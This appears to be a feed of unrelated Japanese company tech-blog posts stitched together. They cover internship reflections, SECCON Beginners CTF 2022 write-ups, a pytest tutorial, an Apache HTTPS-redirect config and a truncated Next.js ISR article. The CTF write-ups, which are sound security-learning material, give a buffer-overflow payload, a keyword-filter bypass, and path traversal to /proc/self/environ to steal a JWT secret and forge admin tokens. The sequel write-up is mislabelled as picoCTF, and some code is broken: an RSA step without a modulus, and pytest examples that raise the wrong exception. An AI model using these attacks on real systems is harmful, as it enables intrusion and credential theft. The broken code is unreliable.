参加してみて、自分よりもレベルの高い他のインターン生や社員の方々とチームを組んで開発を行うことで、 どのような姿勢でプロダクトに向き合っているのか どのように技術の学習を進めているのか コードを書く上で重要視している点は何か 上記のような、他の人の仕事に対する姿勢を実際に肌で感じて学ぶことができました。 認識の擦り合わせの重要性や、他メンバーとの連携をより取りやすくするためのドキュメントの整備の必要性など、個人開発では得られない知見も多く得られました。技術のキャッチアップはもちろんのこと、そのような知見を得ることは、私にとって、他メンバーと対等に開発を進めていくために必要なものであり、開発に参加し続けるための大きな励みにもなりました。 (恥ずかしながら、私は他メンバーと比較して技術力があるわけではなかったため、彼らに少しでも追いつくために技術を学ぶ必要がありましたが、加えてチーム開発で大切な部分についても学べたことは非常に大きな経験になったと考えています。) 優秀な方々と一緒に開発を進める中で、他のインターン生や社員の方々と仲間(メンバーの一員)になれたことが、本インターンを通して得られた最も大きな収穫であると考えています。 @kajikentaro 大学4年生です。3年生の11月から参加しました。 就業型インターンシップ参加まで 私はマイナビが初めての就業型インターンでした。夏に参加した マイナビ主催のハッカソン型インターンシップ がきっかけで応募をしました。 実際にやったこと Next.jsとtypescriptでトップページのモックを作成（研修） マイナビジョブサーチ のフロントエンド開発 学びと感想 先輩社員にコードレビューをしていただき、普段一人でコーディングするだけでは気がつけない客観的な指摘や、ベストプラクティス、アドバイスなどをいただくことができました。 フロントエンドは3人ほどのチームだったので、積極的に開発に携わらせていただきました。こんなにも多くの開発案件に携わらせてくれるとは思っておらず、本当に貴重な経験をさせてもらいました！ ▲インターンシップ中のコミット数と行数です @aya-se 情報工学を専攻する学部4年生です。 就業型インターンシップ参加まで 私も2021年夏のハッカソンをきっかけに、就業型のインターンシップにも参加することになりました。また、長期のインターンシップは今回が初めてでした。 以前から、Vue.jsやFirebaseなどで個人的にWebアプリケーションを作ったことはありましたが、React.jsやNext.jsはこの就業型インターンシップや前述の夏ハッカソンを機に初めて勉強しました。また、インターンシップ参加前はいわゆるチーム開発の経験がほとんどなく、特にハッカソン参加前は割とGitのコマンド操作も怪しいぐらいのレベル感であったと記憶しています。 フレームワーク等の具体的なキャッチアップとしては、ハッカソン直前にReact.jsの基礎的な参考書を1冊やったり、就業型インターンシップ初期にNext.jsのチュートリアルを進めたりしていました。それ以外は、実際の業務をこなしていきながら自然に勉強していった感じだったと思います。 実際にやったこと マイナビジョブサーチ のデザイン実装や機能実装、および仕様提案 学びと感想 コーディングに関する技術的な発見が多数あったことはもちろんですが、個人的には、「非常に多くの方が携わる大規模な開発の中で、どのようにコミュニケーションを取っていくべきか」といった面でも大きな収穫があったと思っています。特にフロントエンドとしては、デザイン担当の方との仕様の相談や調整は想像していた以上に重要で、「伝えるべきことをいかに正確に、そして簡潔に伝えるか」は、チーム開発をしていく上で非常に大切なことであると実感しました。リモートワークが普及しつつある今、Slackをはじめとしたテキストベースでのやり取りを含め、今後も“気持ちの良い”コミュニケーションの取り方を模索していきたいと思います。 また、社員の方にとても細かくコードレビューをしていただけたことも印象的でした。特に業務を始めたての頃はとても粗の多いコードを提出してしまい、大量のフィードバックをいただいたことを覚えています。他の経験者の方から、客観的な目線で細かくアドバイスをいただける機会は大変貴重なものでした。また逆に、他の人のコードのレビューを任されることもありました。コードのミスをくまなくチェックして指摘するというのもなかなか難しい仕事だと感じましたが、良い練習になりました。 長期インターンで良かったこと チーム開発経験や業務に直結する技術が身につく 個人やチームで趣味の開発をしたりハッカソンなどに参加する機会はあっても、実際に業務のコードを書いている学生は意外と少ないと思います。マイナビでは、ひとつのチームの人数が少ないこともあり、改善点があったら自分で考えて提案・実装できるので、チームのメンバーとして積極的にプロジェクトに関わることができます。 「テストにしか関われない」「言われたことのみをやる」ということは全くありません。 社員の方や同年代の学生との関り合いができる 出社していれば社員さんに直接、オンラインであってもGoogle MeetやSlackなどのコミュニケーションツールを使って、わからないことはすぐに聞くことができます。 また、今期の長期インターンシップ生は4人だったのですが、出社の曜日が合う日はお昼ご飯に一緒に行ったり、インターン中の話や就活状況などの情報交換を行うことができました。 ▲とある日のお昼休み：フリースペースに置いてあったチェスで対戦しました 就活に役立つ 学んだスキルや知識が業務に直結するエンジニアの就活では、実践的な業務経験が重視されることも多いです。インターンを通じて得たことは、ガクチカや自己ＰＲにとても役立ちました。また、開発エンジニアの仕事が自分に合っているかを確かめる良い機会にもなりました。 まとめ 技術やスキルの学びはもちろんのこと、開発プロジェクトの進行について、仕事に臨む姿勢についての学びもありました。何より、実際にエンジニアやプログラマーを目指すうえで、「将来もこの仕事がしたい！」と思えたことが大きな自信につながりました。約半年から1年のインターンでしたが、とても楽しく参加することができました。マイナビの皆さん、本当にありがとうございました！ 最後に、もし、この記事を読んでいるあなたが少しでもエンジニアの長期インターンに興味があれば、ぜひマイナビのインターンシップに挑戦をしていただきたいです！ この記事が、マイナビのエンジニアに興味を持ってもらうきっかけになれば幸いです！

前編はこちら 本記事はpicoCTF 2022のWriteup（前編）の続きです。 ###card_post_id=826### pwnable BeginnerBof プログラムをみると、main関数内で fgets関数を利用しています。Buffer Overflow が狙えそうです。 この関数の戻りアドレスを Buffer Overflow で書き換え、win関数に遷移させることでフラグが入手できそうです。 gdb (PEDA拡張付き)を利用し、①fgets関数実行直後のスタックの状態 を調べます。 objdumpコマンドで遷移させる ②win関数のアドレス を調べます。 $ objdump -t chall | grep win00000000004011e6 g F .text 000000000000007d win ①②の2つの情報から、入力すべきデータが分かりました。実際に実行してフラグを入手します。 $ printf '49\n0123456789012345678901234567890123456789\xe6\x11\x40\x0\x0\x0\x0\x0' | nc beginnersbof.quals.beginners.seccon.jp 9000How long is your name?What's your name?Hello 0123456789012345678901234567890123456789�@ctf4b{Y0u_4r3_4lr34dy_4_BOF_M45t3r!}Segmentation fault raindrop おぼえていますか? nc raindrop.quals.beginners.seccon.jp 9001 raindrop.tar.gz d6af5202e0af725b281f8771efa594b133955a46 特に言うことなしの人です。 22時から開始して朝4時まで格闘。起床してからもずっと格闘していましたが、終ぞ解けませんでした。 タイトルどおりROPを狙いに行く問題だと思い、 vuln関数内の read に対してオーバーフロー起こして system('/bin/sh') をコールしてシェルを奪取する感じだと思い、ずっとこねくりまわしていました。 void vuln() { char buf[BUFF_SIZE] = {0}; show_stack(buf); puts("You can earn points by submitting the contents of flag.txt"); puts("Did you understand?") ; read(0, buf, 0x30); puts("bye!"); show_stack(buf);} ただ /bin/sh のアドレスがわからず「マジで難しくない…？ほんとにこれがeasy…？」ってなりました。 （朝4時） reversing Quiz 逆コンパイルや逆アセンブラも試しましたが、結局は strings コマンドでも フラグが取れました。 $ strings quiz | grep ctf4bctf4b{w0w_d1d_y0u_ca7ch_7h3_fl4g_1n_0n3_sh07?} Recursive リバースエンジニアリングツール Ghidra でダウンロードした実行バイナリをデコンパイルします。 関数check がフラグの妥当性をチェックする関数と分かります。 undefined8 check(char *param_1,int param_2){ int iVar1; int iVar2; int iVar3; size_t sVar4; char *pcVar5; sVar4 = strlen(param_1); iVar3 = (int)sVar4; if (iVar3 == 1) { if (table[param_2] != *param_1) { return 1; } } else { iVar1 = iVar3 / 2; pcVar5 = (char *)malloc((long)iVar1); strncpy(pcVar5,param_1,(long)iVar1); iVar2 = check(pcVar5,param_2); if (iVar2 == 1) { return 1; } pcVar5 = (char *)malloc((long)(iVar3 - iVar1)); strncpy(pcVar5,param_1 + iVar1,(long)(iVar3 - iVar1)); iVar3 = check(pcVar5,iVar1 * iVar1 + param_2); if (iVar3 == 1) { return 1; } } return 0;} 変数名など非常に解読しづらいですが、なんとか読めます。 python3で記述すると以下のような関数です。 def check(s: str, i: int) -> bool: l = len(s) if l == 1: return table[i] == s else: h = l // 2 return check(s[:h], i) and check(s[h:], h * h + i) フラグはバイナリのmain関数から38文字と分かっています。 これを逆解析する処理をpythonで記述すると以下のとおりです。 def solve(i: int, length: int) -> str: if length == 1: return table[i] else: h = length // 2 return solve(i, h) + solve(i + h * h, length - h)flag = solve(0, 38)print(flag)print("check:", check(flag, 0)) crypto CoughingFox これは近代的な暗号の知識が不要な問題です。 実直に複合プログラムを実装して、フラグを入手します。 cipher = [12147, 20481, 7073, 10408, 26615, 19066, 19363, 10852, 11705, 17445, 3028, 10640, 10623, 13243, 5789, 17436, 12348, 10818, 15891, 2818, 13690, 11671, 6410, 16649, 15905, 22240, 7096, 9801, 6090, 9624, 16660, 18531, 22533, 24381, 14909, 17705, 16389, 21346, 19626, 29977, 23452, 14895, 17452, 17733, 22235, 24687, 15649, 21941, 11472]def solve() -> str: for i in range(len(cipher)): s = [chr(c) for c in range(32, 128) if (c + i) ** 2 + i in cipher] if len(s) != 1: raise "decrypt error" yield s[0]print(*solve(), sep="") PrimeParty nc コマンドでサーバーにつなぐと、4つのランダムな素数が選ばれて、ユーザには3つ整数の入力を求められる。 [*] We have been waiting for you!!! This way, please.-*-*-*-*-*-*-*-*-*-*-*-*- ### ←サーバ側でランダムな乱数が選ばれる[*] We have been waiting for you!!! This way, please.-*-*-*-*-*-*-*-*-*-*-*-*- ### ←サーバ側でランダムな乱数が選ばれる[*] We have been waiting for you!!! This way, please.-*-*-*-*-*-*-*-*-*-*-*-*- ### ←サーバ側でランダムな乱数が選ばれる[*] We have been waiting for you!!! This way, please.-*-*-*-*-*-*-*-*-*-*-*-*- ### ←サーバ側でランダムな乱数が選ばれる[*] Do you want to invite more guests? > 3 ### ←ユーザ入力[*] We have been waiting for you!!! This way, please.-*-*-*-*-*-*-*-*-*-*-*-*-[*] Do you want to invite more guests? > 7 ### ←ユーザ入力[*] We have been waiting for you!!! This way, please.-*-*-*-*-*-*-*-*-*-*-*-*-[*] Do you want to invite more guests? > 5 ### ←ユーザ入力[*] We have been waiting for you!!! This way, please.-*-*-*-*-*-*-*-*-*-*-*-*-n = 4004010545354487155134564423760393760628501822648175413485182403177802614497075083081182871142220683183557620516756004878516975932858973203260775712393382486169226826588778865850046172282431818404573401295548665402655542135864623672522705582354620536818733452475391502972892348382776846641213215684323978472895e = 65537cipher = 121704966078479187399961267434675399383069953478329222718742231454820171887448985921148428703591817131480017620241185738604457598736158812775226455348391419990103216749070153064390290750749137854194363776138035694542075230511050030917515938266383908268072173261379715604042999949226506925007130601447660721627 ここで、 n は、サーバ側でランダムに設定された素数４つと、ユーザ入力の３つの整数のうち素数を全てかけ合わせた数である。 e は65537で固定である。 cipher の値は、次のように計算されている。 cipher = pow(flag, e, n) これってRSA暗号に似てるので、 e に対応する d を決めて、 flag = pow(cipher, d, n) を計算すればいいんじゃね？と思ったが、 d を決めるためには、 n を素因数分解しないといけないので、ほかの手段はないの？とぐるぐるしていたら間に合わなかった。 作問者のWriteUpをみて、次のように解けばよいとわかりました。 pが素数で、nが平方因子のない自然数であるとき ①オイラーの定理 \(t \equiv 1\pmod {p−1}⇒ a^t \equiv a\pmod p\) ② FLAGより大きな素数 p を求める (455bitより大きいサイズであればOK) ③ \(ed \equiv 1\pmod {p−1}\)なる\(e\)を探す ④ \(cipher\)を\(p\)で割った余りを\(r\)とする。 ①、③より$$ r^d \equiv X^{ed} \equiv X \pmod p $$がいえて、②より、この条件を満たす\(X\)のうち最小のものがFLAGである。 ③のような\(d\)は次のプログラムで求められるらしい pow(e, -1, p-1) ②の素数は、\(2^{455}\)がだいたい137ケタなので、138ケタ以上の素数を探して持ってくればよい。 https://ja.wikipedia.org/wiki/%E5%B7%A8%E5%A4%A7%E3%81%AA%E7%B4%A0%E6%95%B0%E3%81%AE%E4%B8%80%E8%A6%A7 ここから、メルセンヌ素数 \(M_{521}=2^{521}-1\)を使えばよさそう In [6]: 2**521 - 1Out[6]: 6864797660130609714981900799081393217269435300143305409394463459185543183397656052122559640661454554977296311391480858037121987999716643812574028291115057151 https://www2.math.kyushu-u.ac.jp/~snii/RSA.pdf 以上より d = pow(e, -1, p-1)flag_int = cipher ** d welcome 完走した感想 昨年参加したときは上位15％ほどでしたが、今回は上位7％とかなりいいところまで行けたと思います。すごい！ 昨年同様になってしまいますが、 pwnable と reversing 、 crypto は回答チームも少なく、差が出るポイントかなと思いました。 というかマジでこの3ジャンルは難しい。だれか強い人おらんかぁ？ 待っています！ ※サムネ画像ロゴは『SECCON Beginners CTF』より引用

2022年6月4日〜5日に開催されたSECCON Beginners CTF 2022にチームマイナビで参加しました。 本記事はそのWriteupとなります。 概要 CTF（Capture the Flag）とは、情報セキュリティの知識を使うセキュリティコンテストの一つです。 いくつかのジャンルに分かれており、例えば リバースエンジニアリングによって実行ファイルの脆弱性をつく Webアプリの脆弱性をつく ファイル内に隠された情報を抜き取る などの、そういった攻撃をして隠された『Flag』を手に入れることを目的としています。 今回、国内のCTFの中で最大となるSECCONが開催しているビギナー向けのコンテストに参加しました。 ※ちなみに昨年も参加しています。 結果 結果は891チーム中63位でした！ 結果 解いた問題のカテゴリ割合 メンバー メンバー 紹介（筆者の偏見が混じっています） S.H.さん チームmnsecのポイントゲッター S.R.さん おいおい知らねえぜ、俺が全完しててもよォ S.T.さん 期待のにゅーふぇいす M.W.（私） 特に言うことなし 流れ Writeup web textex 課題ページ( https://textex.quals.beginners.seccon.jp/ )に移動し、適当にTeX文書を入力すると、コンパイルされてPDFが返ってくるというアプリケーションが実装されている。 サーバのソースコードを見てみると、flag というファイルがあるので、その中をTeX経由で覗くと正解が得られると考えられる。 ファイルの中身をそのまま展開することのできる\verbatiminputコマンドでやろうとする。 \documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{../../flag}\end{document} しかし、TeXのソースコードに flagという文字列が含まれているとエラーになるように app.pyが実装されている。 # No flag !!!!if "flag" in tex_code.lower(): tex_code = "" そこで、 flagというファイル名を、マクロで分解して、TeXで展開した時に flagに見えるようにするとフラグの中身を覗くことができる。 \documentclass{article}\usepackage{verbatim}\newcommand{\fl}{fl}\newcommand{\ag}{ag}\begin{document}\verbatiminput{../../\fl\ag}\end{document} gallery 絵文字のギャラリーサービスからフラグを取得する問題です。 https://gallery.quals.beginners.seccon.jp/?file_extension=flaにアクセスすると、flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdfというファイルが存在していることが分かります。 こちらはブラウザからそのままダウンロードはできません。 サーバーサイドアプリケーションで10,240バイト以上のレスポンスは、そのまま返さないように制限がかけれているからです。 Rangeヘッダを利用して、10,000バイトづつに分割してダウンロードし、それらを結合できればよさそうです。 参考: https://developer.mozilla.org/ja/docs/Web/HTTP/Headers/Range $ curl 'https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf' -H 'Range: bytes=0-9999' --output 0.bin$ curl 'https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf' -H 'Range: bytes=10000-19999' --output 1.bin$ cat 0.bin 1.bin > test.pdf 無事、フラグを取得できました。 Ironhand お題としてWebサイトが与えられます。ユーザー名を指定してログインすると、user（一般ユーザー）としてログインします。テキストを読むに、adminとしてログインするとflagをもらえそうです。 Cookieを確認すると、JWT（JSON Web Token）が与えられていました。デコードすると、 IsAdmin というパラメータを持っていることが分かります。現在 false になっていますが、これを true にすれば万事解決……しません。なぜなら、JWTはヘッダー部、ペイロード部、およびヘッダー部とペイロード部を結合した文字列のデジタル署名からなり、 IsAdmin だけを変更すると、署名検証が失敗するからです。署名は改ざん検知に有用だということがよく分かります。 adminになるためには適切な署名を生成する必要があり、そのためには署名に使われたシークレットを入手しなければなりません。提供されているアプリのコードを読むと、署名に使われたシークレットである JWT_SECRET_KEY は、アプリケーションの環境変数として宣言されていることが分かります。 コードを追っていくと、 /static/:path にきな臭さを感じます。具体的には、静的ファイルの配信ならNginxでやればいいのに、わざわざアプリケーションでやっているあたりが臭いです。 更に、Nginxの設定ファイルにも merge_slashes off という馴染みのないオプションがあります。URLにスラッシュをたくさん投げてくれと言わんばかりです。 検証の結果、案の定 /static/:path にパストラバーサル脆弱性があることが分かりました。画像は脆弱性を利用して、本来表示できないはずの /etc/passwd を表示しているところです。 パストラバーサルを使ってどうやって環境変数を窃視するかというと、 /proc/self/environ を呼び出すことで、アプリケーションの環境変数を含むファイルを取得できます。 JWT_SECRET_KEY が含まれていることが分かります。 あとは、 IsAdmin を true を変更して、 JWT_SECRET_KEY を使った正しい署名を含むJWTを作ったら、ブラウザのCookieを書き換えて更新してやればflagです。 なお、この問題には刺さりませんが、 alg: none にして署名検証そのものをバイパスするという手法・脆弱性もあるみたいです。その発想はなかった。いずれにせよ、パストラバーサル怖～～というのが教訓です。 後編へ続く・・ ###card_post_id=817### ※サムネ画像ロゴは『SECCON Beginners CTF』より引用

導入編 テストは大きく分けて3種類 ユニットテスト　⇐本メモで触れます 結合テスト ステージングテスト（非機能要件テスト） コードレビューの関心ごと ロジックに問題がないか 実行時制約など非機能要件の満足に影響がないか コードの可読性 このうち、1.のロジックの正当性は、フローを目で追っていかないといけないので負荷が高いですよね。 しかも、一度正常に動いていても、少し変えただけでまたロジックの正当性を確認しないといけません。 また、レビューする側も人間ですから、失敗する可能性もあり多少の不安は残るでしょう。 つまり、確実かつ効率よくロジックの正当性を確認する必要があります。 主な目的は、 目視で正当性を確認しなければならない個所を減らす ことになります。 そこでユニットテストですよ テストケースを正しく書けば、プログラムロジックの正しさを証明できる！ つまり、ユニットテストをPASSすることで自信をもってデプロイできる！ いやぁ、 素晴らしき 哉 かな ユニットテスト！ テストはいつ書くの? 個人的には実装する 前 に書く方が良いです。 「テスト駆動開発」といい、テストを先に書いて、そのテストが通るようにコードを書く これが、「コードが満たすべき条件」を定義することになる。要件をコードで持っておくような感じ。 つまり、 「テストを書く」→「実装する」→「テストを通す」→「レビューする」→「マージする」 この繰り返しになります。 テストに落としこみにくいとか、緊急で実装したくてテストを書く余裕がないような場合は、後回しでもよいと思います。でもちゃんと手元での動作確認はしましょう。そして、テストは後でちゃんと書きましょう。 Pythonでのテスティングフレームワーク Pythonに限らずですが、大体のプログラミング言語にはこのユニットテストようのライブラリが開発されています。 Pythonの場合、次のような二大派閥があります。 一番手軽な unittest デフォルトで入っています。テスト用にテストライブラリをインストールするといった手間が省けます。 テストフレームワーク pytest unittestのラッパーみたいな感じで、拡張機能などが豊富にあります。 VSCodeのPythonプラグインと連携して、テストが通っているかどうか視覚的に確認できるので便利です。 こちらはOSSライブラリとなりますので、pipenv install --dev pytestで開発用にインストールしましょう。 「開発用にインストール」とは、本番稼働にpytestは不要なので手元の作業環境にだけインストールすることです。 他にも、 tox さまざまな環境(pythonバージョン)での動作をテストするための設定を簡単にかける。 オープンソースのリポジトリなどで導入されているのをよく見かけます。 なんてものもあります。 私がpytest派なので、次からpytestについて書いていこうと思います。 テストの基本編 pytestをインストールしよう pytestはほとんどの場合は、本番稼働時には不要なので、pipenvにおいて次のように--devオプションをつけることで、pipenv syncしたときにはインストールされないようにすることができます。 pipenv install --dev pytest pipならこうです。 pip install pytest ソースコード構成 最もよくとられるソースコード構成は、次のようになっています。 ① tests ディレクトリをルートに作成する ② 本体コードと同じ構成で、test_を接頭辞にもつ.pyファイルを作成する ここでは次のような構成であるとして進めていきます。 <project_root>|+- src/| `- game.py+- tests/ `- src/ `- test_game.py テストを先に書く では、今回は例として、game.pyに、「丁半」のゲームのジャッジを行うメソッドを書くことにしましょう。 丁半とは、次のようなルールの賭博です。 サイコロ２つを振って出る合計の目が偶数になると思ったら「丁」、奇数になると思ったら「半」に賭ける。 ひっくり返した茶碗の中で、サイコロ２つを振る。 予想が当たればお金が倍になる。外れればお金は没収される。 今回は、サイコロ２つを振った合計が偶数か奇数かを判定するメソッドを書きますが、その前にテストを定義します。 tests/src/test_game.pyに次のように記載します。 # tests/src/test_game.pyfrom src.game import judge_chouhandef test_judge_chouhan_odd(): assert judge_chouhan(1, 2) == '半'def test_judge_chouhan_even(): assert judge_chouhan(2, 4) == '丁' ポイントは、この時点で judge_chouhan()の中身は定義されていない ことです。 つまり、「出目が1と2ならば'半'を返す」、「出目が2と4ならば'丁'を返す」という２つの「テストケース」を定義したことになります。 なお、このようにテスト対象のモジュールの中身を知ることなく、入出力にだけ着目して行うテストのことを「 ブラックボックステスト 」と呼びます。 この状態でテストを実行してみましょう。 pipenv run pytest -v もちろん失敗しますが、「まず失敗するテストを書く」のが重要です。 ここから、「 このテストが通るように 」コードを実装していきます。 # src/test_game.pydef judge_chouhan(n1: int, n2: int) -> str: """n1とn2の合計が偶数なら'丁', 奇数なら'半'を返す。 Args: n1, n2 (int): さいころの出目 Return: str : '丁' or '半' """ if (n1 + n2) % 2 == 0: return '丁' else: return '半' 実装したら、もう一度テストを実行しましょう。 pipenv run pytest -v 例外が発生することをテストする with pytest.raises()ブロック内で、例外が発生するケースを呼び出すことで、 例外が発生するかどうかをテストすることができます。 サイコロの目が1～6以外が指定されたら例外が発生するように変えてみましょう。 まずはテストケースを追加します。 # tests/src/test_game.pyimport pytestdef test_judge_chouhan_exception(): """１～６以外の値が入ったときに例外が発生するかどうかテストする""" with pytest.raises(ValueError) as excinfo: judge_chohan(7, 1) # 例外メッセージをテストする assert str(excinfo.value) == "invalid eyes of die: n1 = 7" そして本体コードに例外処理を追加しましょう。 # src/test_game.pydef judge_chouhan(n1: int, n2: int) -> str: """n1とn2の合計が偶数なら'丁', 奇数なら'半'を返す。 Args: n1, n2 (int): さいころの出目 Return: str : '丁' or '半' Raises: ValueError: 不正なサイコロの目が入力された場合 """ assert (n1 - 1) * (n1 - 6) <= 0, ValueError("invalid eyes of die: n1 = %d" % n1) assert (n2 - 1) * (n2 - 6) <= 0, ValueError("invalid eyes of die: n2 = %d" % n2) if (n1 + n2) % 2 == 0: return '丁' else: return '半' mock編 関数が実行されたかどうかのテスト pytest-mockを使えば、テスト実行時だけ、メソッドやクラスを「実行したフリ」をすることができます。 たとえば、あるモデルの学習を行うメソッドsome_model.train()が次のようになっているとします。 # some_model.pyfrom sklearn.linear_model import LogisticRegressiondef train(params: Dict): """paramsをハイパーパラメータとして学習する。""" X, y = get_data() clf = LogisticRegression(**params) clf.fit(X, y) return clf そして、それを使ってハイパーパラメータ調整を行うsome_model.grid_search()が次のようになっているとします。 # some_model.pyfrom sklearn.model_selection import ParameterGriddef grid_search(param_grid: Dict[str, List]): """param_gridから探索空間を生成し、その空間でグリッドサーチを行う。""" param_grid = ParameterGrid(param_grid) for hparam in param_grid: clf = train(hparam) : (中略) return best_model ここで、これらのメソッドが正常に作動するかどうかテストします。テスト要件は次の通りです。 train()は、paramsをディクショナリで受け取って、LogisticRegressionオブジェクトを返す。 grid_search()は、グリッドサーチの探索空間(引数のparam_grid)を次のように文字列->リストのディクショナリ型で受け取る。それをもとにグリッドサーチの探索空間(直積)を生成し、そのすべての要素についてtrain()を実行する。もっともよい性能を示したLogisticRegressionオブジェクトを返す。 # param_grid{'regularization': ['l1', 'l2', 'l1_l2'], 'loss': ['rmse', 'mae']} この２つのメソッドをテストしようとすると、grid_search()のテストでtrain()を何度も実行することになるので、train()の実行時間が長いとgrid_search()がとても長くなり非効率です。 grid_search()はtrain()が正常に動作すれば、あとは最高の性能を示したモデルを返すだけなので、 train()が正しく動作することを確認する grid_search()が、与えたハイパーパラメータから生成される探索空間のすべての要素に対して実行されることを確認する だけでよいはずです。 train()が正しく動作することを確認するのはtrain()のテストで可能なので、grid_search()のテストで関心があるのはtrain()がどのパラメータで実行されたか、だけです。 そこで、grid_search()のテスト時にtrain()を実行せずに、実行時のパラメータだけを確認したいときに使うのがpytest-mockです。 テストメソッドは次のようになります。 # test_some_model.pyfrom sklearn.linear_model import LogisticRegressiondef test_grid_search(mocker): """ some_model.grid_search()のユニットテスト。 実際に実行するときは探索空間すべてに対してtrain()を実行するが、 ユニットテストではtrain()を実行することなく、どのパラメータで実行されたかだけを確認する。 """ mocker.patch("some_model.train", return_value=LogisticRegression()) from some_model import grid_search param_grid = {"hp_a": [1, 2], "hp_b": [3, 4]} clf = grid_search(param_grid) ポイントはmocker.patchを実行する位置です。 モックしたいモジュールが直接ないし間接的にimportされる前に mocker.patch をしないとモックしてくれません。 from some_model import grid_searchを実行すると、同時にsome_model.py内で作成されているtrainもロードされてしまうため、先にimportを実行してしまうとモックが効かなくなります。そのため上記のコード例のようにimportする前にモックする必要があるのです。

やりたいこと タイトルの通り。 ApacheはDirectorySlashディレクティブにより、リクエストURLがディレクトリとなっていてスラッシュが無い場合はスラッシュを加えてリダイレクトする。 DirectorySlashディレクティブはデフォルトでオンになっている。 （参考） httpでアクセスがあった場合はhttpでリダイレクトする挙動となるため、以下の課題が発生する。 課題 以下の構成でApacheへアクセスする。 前提 Cloudfrontへのhttpアクセスはhttpsリダイレクト Cloudfront及びALBまではhttps EC2まではhttp トレイリングスラッシュ付きの場合は以下のようになる。 社内PCからCloudfront https://xxx.mynavi.jp/test/ CloudfrontからALB https://xxx.mynavi.jp/test/ ALBからEC2 http://xxx.mynavi.jp/test/ トレイリングスラッシュが無い場合は以下のようになる。 社内PCからCloudfront https://xxx.mynavi.jp/test CloudfrontからALB https://xxx.mynavi.jp/test ALBからEC2 http://xxx.mynavi.jp/test EC2でリダイレクト（スラッシュ付与） http://xxx.mynavi.jp/test/ Cloudfrontでhttpsリダイレクト https://xxx.mynavi.jp/test/ CloudfrontからALB https://xxx.mynavi.jp/test/ ALBからEC2 http://xxx.mynavi.jp/test/ このようにhttpsでアクセスしたものが、DirectorySlashによりhttpにリダイレクトされてしまう。 ◆ブラウザでアクセスした結果 ◆アクセスした際のApacheアクセスログ [31/May/2022:20:04:06 +0900] "GET /test HTTP/1.1" 301 260 "-" "Amazon CloudFront"[31/May/2022:20:04:06 +0900] "GET /test/ HTTP/1.1" 200 52 "-" "Amazon CloudFront" これを解消するために、Apache側でスラッシュを付与して更にhttpsでリダイレクトする設定を行う。 設定 Apacheのconfファイルに以下を追記する。 RewriteCond %{LA-U:REQUEST_FILENAME} -dRewriteRule ^/(.*[^/])$ https://%{HTTP_HOST}/$1/ [R=301,L,QSA] この設定はDirectorySlashより優先される。 Apacheを再起動して再度確認。 ◆ブラウザでアクセスした結果 ◆アクセスした際のApacheアクセスログ [31/May/2022:20:22:27 +0900] "GET /test HTTP/1.1" 301 261 "-" "Amazon CloudFront"[31/May/2022:20:22:27 +0900] "GET /test/ HTTP/1.1" 200 52 "-" "Amazon CloudFront" 社内PCからCloudfront https://xxx.mynavi.jp/test CloudfrontからALB https://xxx.mynavi.jp/test ALBからEC2 http://xxx.mynavi.jp/test EC2でhttpsリダイレクト（スラッシュ付与） https://xxx.mynavi.jp/test/ CloudfrontからALB https://xxx.mynavi.jp/test/ ALBからEC2 http://xxx.mynavi.jp/test/ おまけ ApacheのRewriteCondではフロントがhttpsの時という条件を書くことができる。 例えば、Cloudfront,ALBがhtttpsで受けているかの判定は以下のように記載する。 ※ALBは自動で付与されるが、Cloudfrontはビヘイビアでヘッダーの設定をする必要がある。 # CloudfrontRewriteCond %{HTTP:CloudFront-Forwarded-Proto} =https# ALBRewriteCond %{HTTP:X-Forwarded-Proto} =httpsRewriteCond %{LA-U:REQUEST_FILENAME} -dRewriteRule ^/(.*[^/])$ https://%{HTTP_HOST}/$1/ [R=301,L,QSA] ・RewriteCondに関するオンプレからAWS移行時の注意点 オンプレ環境でLB(https)→サーバ(http)としており、LBで付与したヘッダーをRewriteCondで使用している場合、上で記載したようにAWS(Coudfront,ALB)が付与するヘッダーとは異なる可能性がある。

Next.js 12.1よりBetaとなったOn-Demand ISRが、6/29にリリースされたNext.js 12.2より安定版となりました！ これでようやく外向けの環境で動作するサービスに使用できるようになったので、今回はこのOn-Demand ISRについて紹介しようと思います。 そもそもOn-Demand ISRとは On-Demand ISRを説明するには、まずSSGとISRについて説明する必要があります。 SSGとは SSGとは、Static Site Generationの略で、その名の通り静的サイトを生成する機能のことを指します。 旧来のRailsやLaravelのようなMPA、あるいはRemixのようなSSRフレームワークは、アクセスが発生した段階でサーバーサイドでサイトをレンダリングしますが、SSGはアクセスよりもはるか前、デプロイ前のビルド時 (記述したコードを実際の環境で動作するよう変換する段階) に返却するファイルを生成します。 これにより、SSGされているページではレンダリングの必要がないため、MPAなサイトやSSRのページと比較して高速な描画が期待できます。 欠点として、最新の情報を記載することを苦手としています。 記述内容が変わることのないページや、コードとともに掲載内容を管理している記事ページなどでは有効ですが、チケット販売や天気情報などのリアルタイム性が必要なもの、Headless CMSを用いて記事を管理しているケースでは使用することができません。 これを改善するための機能が、ISRです。 ISRとは ISRとは、 Incremental Static Regenerationの略称で、SSGしたページを任意の秒数で再生成する機能です。 これを用いることで、天気情報サイトなどの変更頻度が低いものやHeadlessCMSを用いた記事などで気軽にSSGすることが可能になりました。 これは非常に便利なのですが、秒数による制御ではどうしても解決しづらい問題もありました。 記事をHeadlessCMS管理している情報掲載サイトを例として考えてみましょう。 記事には誤字脱字がつきものです。何人で確認しても、いかなツールを使おうとも、どうしても記事に誤字脱字が残ってしまうケースがあります。 そんな時、場合によっては早急に修正することが必要です。 その際、SSGを生かすために長い秒数を設定していると、修正したい内容を早期に反映するには再度デプロイする必要があります。アプリケーション上でいかな操作をしようと、基本的にはどうしようもありません。 これを解消するにはISRの秒数を短くすればよいですが、それではSSGの効果が薄くなります。 こういった状態に公式の機能で対応できるようになったのが、On-Demand ISRです。 On-Demand ISR On-Demand ISRは、本当に任意のタイミングで再生成を行う機能です。 例えば、ISRの項目で挙げたような記事修正問題が生じた際に、こちらから再生成を指示できます。 この機能を使用する際、ISRの際に必須であった再生成のための秒数指定は必須ではないので、不要な再生成機会の抑制、ひいてはサーバーの負担軽減も期待できます。 On-Demand ISRを使用する 元のSSGのファイルを編集する必要はありません。 On-Demand ISRは元のファイルに一切手を加えずに実行できます。 例として、今回は http://example.com/isr/[id] に対象となるページが存在するとします。 このページを対象にISRを行いたい場合は、page/api/に任意の名前 (今回は例としてpage/api/[id].tsx) のファイルを作成し、以下のような処理を記載します 